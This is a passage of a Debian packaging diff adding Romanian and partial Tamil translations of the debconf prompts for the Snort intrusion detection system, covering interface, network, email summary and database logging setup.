+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Folosiți forma CIDR, de exemplu, 192.168.1.0/24 pentru un bloc de 256 de "
+"adrese IP sau 192.168.1.42/32 doar pentru o adresă. Valorile multiple "
+"trebuie separate cu (fără spații)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"A se reține că dacă Snort este configurat să folosească mai multe interfețe, "
+"va folosi această valoare ca definiția lui HOME_NET pentru toate."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Se activează modul promiscuu pe interfață?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Dezactivarea modului promiscuu înseamnă că Snort va „vedea” doar pachetele "
+"adresate interfeței monitorizate. Activarea acestuia îi va permite lui Snort "
+"să verifice fiecare pachet care trece prin segmentul Ethernet, chiar dacă "
+"este o conexiune între alte două calculatoare."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfața nu e validă"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort încearcă să folosească o interfață care nu există sau care nu este "
+"„ridicată”. Fie recurge în mod implicit și greșit la „eth0”, fie ați "
+"precizat o interfață care nu este validă."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Se schimbă ordinea testelor lui Snort în Trece|Alertă|Jurnal?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Ordinea implicită de testare a lui Snort este Alertă|Trece|Jurnal; dacă "
+"acceptați această opțiune, ordinea se va schimba în Trece|Alertă|Jurnal, "
+"lucru care poate face mai facilă utilizarea lui Snort cu anumite unelte de "
+"filtrare a pachetelor."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Doriți mesaje electronice zilnice cu sumarul?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Se poate configura un serviciu cron care să trimită zilnic la o anumită "
+"adresă de poștă electronică sumare ale jurnalelor lui Snort."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Alegeți dacă doriți să activați această facilitate."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatarul mesajelor zilnice cu statistici:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Precizați adresa de poștă electronică unde se vor recepționa sumarele "
+"zilnice ale jurnalelor Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opțiuni adiționale particularizate:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Precizați orice alte opțiuni pe care să le folosească Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Numărul minim de apariții pentru raportarea unei alerte:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Introduceți numărul minim de apariții ale unei anumite alerte necesar pentru "
+"a fi inclusă în statisticile zilnice."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "You are running Snort manually"
+msgstr "Rulați Snort manual"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11002 ../snort-mysql.templates:11002
+#: ../snort-pgsql.templates:11002
+msgid "Snort restart required"
+msgstr "Este necesară repornirea lui Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11002 ../snort-mysql.templates:11002
+#: ../snort-pgsql.templates:11002
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Deoarece Snort este pornit manual, trebuie să rulați „/etc/init.d/snort” "
+"pentru ca schimbările să fie luate în considerare."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "There is an error in your configuration"
+msgstr "Există o eroare în configurația dumneavoastră"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12002 ../snort-mysql.templates:12002
+#: ../snort-pgsql.templates:12002
+msgid "Configuration error"
+msgstr "Eroare de configurare"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12002 ../snort-mysql.templates:12002
+#: ../snort-pgsql.templates:12002
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Actuala configurație Snort nu este validă și îl va împiedica pe acesta să "
+"pornească normal. Revizuiți-o și corectați-o."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12002 ../snort-mysql.templates:12002
+#: ../snort-pgsql.templates:12002
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Pentru diagnosticarea unui fișier de configurare a lui Snort, folosiți „/usr/"
+"sbin/snort -T -c <fișier>”."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Fișier de configurare depășit"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Acest sistem folosește un fișier de configurare învechit (/etc/snort/snort."
+"common.parameters) care a fost convertit automat la noul format de fișier (/"
+"etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Verificați noul fișier de configurare și ștergeți-l pe cel vechi. Până "
+"atunci, scriptul init.d nu va folosi configurația nouă și nu veți profita de "
+"beneficiile introduse în versiunile mai noi."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Se pregătește o bază de date în care snort-mysql va face jurnalizarea?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Nu s-a pregătit nici o bază de date în care Snort să țină jurnalele. Înainte "
+"de a continua, ar trebui să vă asigurați că aveți:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - numele serverului (acel server trebuie să permită conexiuni TCP\n"
+"   inițiate de pe acest sistem);\n"
+" - o bază de date pe acel server;\n"
+" - un nume de utilizator și o parolă pentru a accesa baza de date."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Dacă unele dintre aceste cerințe nu sunt satisfăcute, refuzați această "
+"opțiune și rulați cu jurnalizare în fișiere obișnuite."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Jurnalizarea într-o bază de date poate fi reconfigurată mai târziu, cu "
+"comanda „dpkg-reconfigure -plow snort-mysql”."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Numele serverului cu baza de date:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Precizați numele unui server de baze de date care permite primirea de "
+"conexiuni de pe acest calculator."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Numele bazei de date:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Precizați numele unei baze de date deja existente la care utilizatorul de "
+"baze de date are drept de scriere."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Numele de utilizator pentru accesul la baza de date:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Please specify a database server username with write access to the database."
+msgstr ""
+"Precizați un utilizator de baze de date care are drept de scriere în baza de "
+"date."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Parola pentru conectarea la baza de date:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduceți parola folosită pentru conectarea la baza de date pentru "
+"alertele Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Este obligatorie o bază de date configurată pentru Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort are nevoie de o bază de date configurată anterior pentru a putea "
+"porni. Pentru a crea structura, trebuie să rulați următoarele comenzi DUPĂ "
+"ce pachetul este instalat:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <utilizator> -h <numeserver> -p "
+"<numelebazeidedate>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Introduceți valorile corecte pentru utilizator, numele serverului și numele "
+"bazei de date. MySQL vă va cere interactiv parola."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"După ce ați creat structura bazei de date, va trebui să porniți manual Snort-"
+"ul."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Se pregătește o bază de date în care snort-pgsql va face jurnalizarea?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Jurnalizarea într-o bază de date poate fi reconfigurată mai târziu, cu "
+"comanda „dpkg-reconfigure -plow snort-pgsql”."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <utilizator> -h <numeserver> -W "
+"<numelebazeidedate>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Introduceți valorile corecte pentru utilizator, numele serverului și numele "
+"bazei de date. PostgreSQL vă va cere interactiv parola."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Fișier de configurare depășit"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Fișierul de configurare pentru Snort (/etc/snort/snort.conf) folosește "
+"opțiuni depășite care nu mai sunt disponibile în această versiune de Snort. "
+"Snort nu va putea porni decât dacă furnizați un fișier de configurare "
+"corect. Fie permiteți înlocuirea fișierului de configurare cu cel furnizat "
+"de pachet sau să îl reparați manual prin ștergerea opțiunilor depășite."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr "În fișierul de configurare au fost găsite următoarele opținuni învechite: ${DEP_CONFIG}."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Fișierul dumneavoastră de configurare este învechit"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "la pornire, dialup, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Când trebuie pornit Snort?"
+
+# XXX: it would be nice if "any" would be translatable, too
+# XXX: of course, the postinst script uses the non-translated string
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Dacă doriți puteți alege 'any' (eng. pentru 'oricare'), dacă nu aveți "
+#~ "încredere în nici o parte a rețelei."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Una dintre interfețele precizate de dumneavoastră nu este validă (poate "
+#~ "nu există în sistem sau nu era activă). Introduceți o interfață validă "
+#~ "când se răspunde la întrebarea legată de interfața/interfețele pe care "
+#~ "trebuie să asculte Snort."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Dacă nu ați configurat o interfață atunci pachetul va încerca să "
+#~ "folosească valoarea implicită ('eth0') care nu pare a fi validă în "
+#~ "sistemul dumneavoastră."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Dacă schimbați ordinea de testare a regulilor în Trece|Alarmă|Jurnal, "
+#~ "regulile vor fi aplicate în ordinea Trece->Alarmă->Jurnal, în loc de "
+#~ "ordinea standard Alarmă->Trece->Jurnal. Acest lucru va permite oamenilor "
+#~ "să nu fie forțați să creeze liste imense de argumente pentru Filtrul de "
+#~ "pachete Berkley pentru a filtra regulile de alertare."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Această instalare de Snort furnizează o sarcină de cron care rulează "
+#~ "zilnic și sumarizează informațiile din jurnalele lui Snort către o adresă "
+#~ "de poștă electronică selectată. Dacă doriți să dezactivați acestă "
+#~ "facilitate alegeți 'nu'."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "O sarcină de cron care rulează zilnic va sumariza informațiilor din "
+#~ "jurnalele generate de Snort folosind un script numit 'snort-stat'. "
+#~ "Introduceți destinatarul acestor mesaje. Valoarea implicită este "
+#~ "administratorul de sistem. Dacă păstrați această valoare, asigurați-vă că "
+#~ "mesajele către adresa administratorului sunt redirectate către un "
+#~ "utilizator care chiar citește acele mesaje."
+
+#, fuzzy
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Dacă doriți să folosiți opțiuni particularizate pentru Snort, precizați-"
+#~ "le aici."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Reporniți Snort folosind:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "pentru a permite opțiunilor de configurare să își facă efectul."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Configurația dumneavoastră pentru Snort nu este corectă și Snort nu va "
+#~ "putea să pornească normal. Revizuiți și reparați configurația. Dacă nu, "
+#~ "probabil că actualizările lui Snort se vor solda cu erori. Pentru a "
+#~ "verifica ce erori sunt generate, rulați '/usr/sbin/snort -T -c /etc/snort/"
+#~ "snort.conf' (sau indicați un alt fișier de configurare, dacă folosiți "
+#~ "fișiere diferite pentru diferitele interfețe)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Trebuie să faceți acest lucru doar prima dată când instalați snort-mysql. "
+#~ "Înainte de a continua, asigurați-vă că aveți (1) numele calculatorului pe "
+#~ "care rulează serverul mysql configurat să accepte conexiuni tcp de pe "
+#~ "acest calculator, (2) o bază de date pe acel server, (3) un nume și o "
+#~ "parolă pentru a accesa baza de date. Dacă nu aveți _toate_ acestea, fie "
+#~ "selectați 'nu' și rulați cu suport pentru jurnalizare în fișiere, fie "
+#~ "rezolvați această problemă. Puteți oricând, mai târziu, să configurați "
+#~ "baza de date de jurnalizare prin reconfigurarea pachetului snort-mysql cu "
+#~ "'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Asigurați-vă că acest utilizator de bază de date are acces să scrie."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort are nevoie de o bază de date configurată pentru a jurnalizare "
+#~ "înainte de a porni."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Trebuie să faceți acest lucru doar prima dată când instalați snort-pgsql. "
+#~ "Înainte de a continua, asigurați-vă că aveți (1) numele calculatorului pe "
+#~ "care rulează serverul pgsql configurat să accepte conexiuni tcp de pe "
+#~ "acest calculator, (2) o bază de date pe acel server, (3) un nume și o "
+#~ "parolă pentru a accesa baza de date. Dacă nu aveți _toate_ acestea, fie "
+#~ "selectați 'nu' și rulați cu suport pentru jurnalizare în fișiere, fie "
+#~ "rezolvați această problemă. Puteți oricând, mai târziu, să configurați "
+#~ "baza de date de jurnalizare prin reconfigurarea pachetului snort-pgsql cu "
+#~ "'dpkg-reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort are nevoie de o bază de date configurată anterior pentru a putea "
+#~ "porni. Pentru a crea structura, trebuie să rulați următoarele comenzi "
+#~ "DUPĂ ce pachetul este instalat:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <utilizator> -h <calculator> -W "
+#~ "<numele_bazei_de_date>\n"
+#~ "Completați valorile corecte pentru utilizator, calculator și "
+#~ "numele_bazei_de_date. PostgreSQL vă va cere parola."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introduceți numele interfeței/interfețelor pe care să asculte Snort. "
+#~ "Numele interfețelor disponibile sunt furnizate prin rularea 'ip link "
+#~ "show' sau 'ifconfig'. De obicei, această valoare este 'eth0', dar este "
+#~ "posibil să doriți să schimbați acest lucru, dependent de situație, iar "
+#~ "dacă folosiți o conexiune dialup, 'ppp0' probabil este mai potrivită."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Introduceți intervalul de adrese pe care să asculte Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Dezactivați modul promiscuu dacă Snort este configurat pe o interfață "
+#~ "fără adresă IP."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Introduceți numele calculatorului al cărui bază de date mysql va fi "
+#~ "folosită."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Introduceți numele bazei de date care va fi folosită."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Introduceți numele utilizatorului de bază de date pe care doriți să-l "
+#~ "folosiți."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Introduceți numele calculatorului al cărui bază de date pgsql va fi "
+#~ "folosită."
+
--- snort-2.7.0.orig/debian/po/ta.po
+++ snort-2.7.0/debian/po/ta.po
@@ -0,0 +1,869 @@
+# translation of snort.po to TAMIL
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Dr.T.Vasudevan <agnihot3@gmail.com>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2007-03-07 17:31+0530\n"
+"Last-Translator: Dr.T.Vasudevan <agnihot3@gmail.com>\n"
+"Language-Team: TAMIL <ubuntu-l10n-tam@lists.ubuntu.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"ஸ்னோர்டை கணினி துவக்கும் போதோ, வலைக்கு பிபிபிடி ஐ பயன் படுத்தி இணைக்கும் போதோ அல்லது "
+"கைமுறையாக /usr/sbin/snort வழியாகவோ துவக்கலாம்."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid "On which interface(s) should Snort listen?"
+msgid "Interface(s) which Snort should listen on:"
+msgstr "எந்த இடை முகத்தில் ஸ்னோர்ட் செவி சாய்க்க வேண்டும்?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Notice that Snort is usually configured to inspect all traffic coming "
+#| "from the Internet, so the interface you add here is usually the same the "
+#| "'default route' is on.  You can determine which interface is used for "
+#| "this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for "
+#| "'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"ஸ்னோர்ட் சாதாரணமாக உள்வரும் எல்லா போக்கு வரத்தை கண்காணிக்க வடிவமைக்கப் படுகிறதுஆகவே நீங்கள் "
+"இங்கு சேர்க்கும் இடைமுகம் வழக்கமாக முன்னிருப்பு தடம் உள்ளதே ஆகும். நீங்கள் '/sbin/ip ro "
+"sh' அல்லது  '/sbin/route -n' ஐ இயக்கி இதற்கு எந்த இடைமுகம் பயன் படுகிறது என "
+"தெளியலாம்  ('முன்னிருப்பு' அல்லது '0.0.0.0' ஐ கண்காணிக்கவும்.)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to run Snort on an interface with no IP and "
+#| "configured in promiscuous mode, if this is your case, select the "
+#| "interface in this system that is physically connected to the network you "
+#| "want to inspect, enable promiscuous mode later on and make sure that the "
+#| "network traffic is sent to this interface (either connected to a 'port "
+#| "mirroring/spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
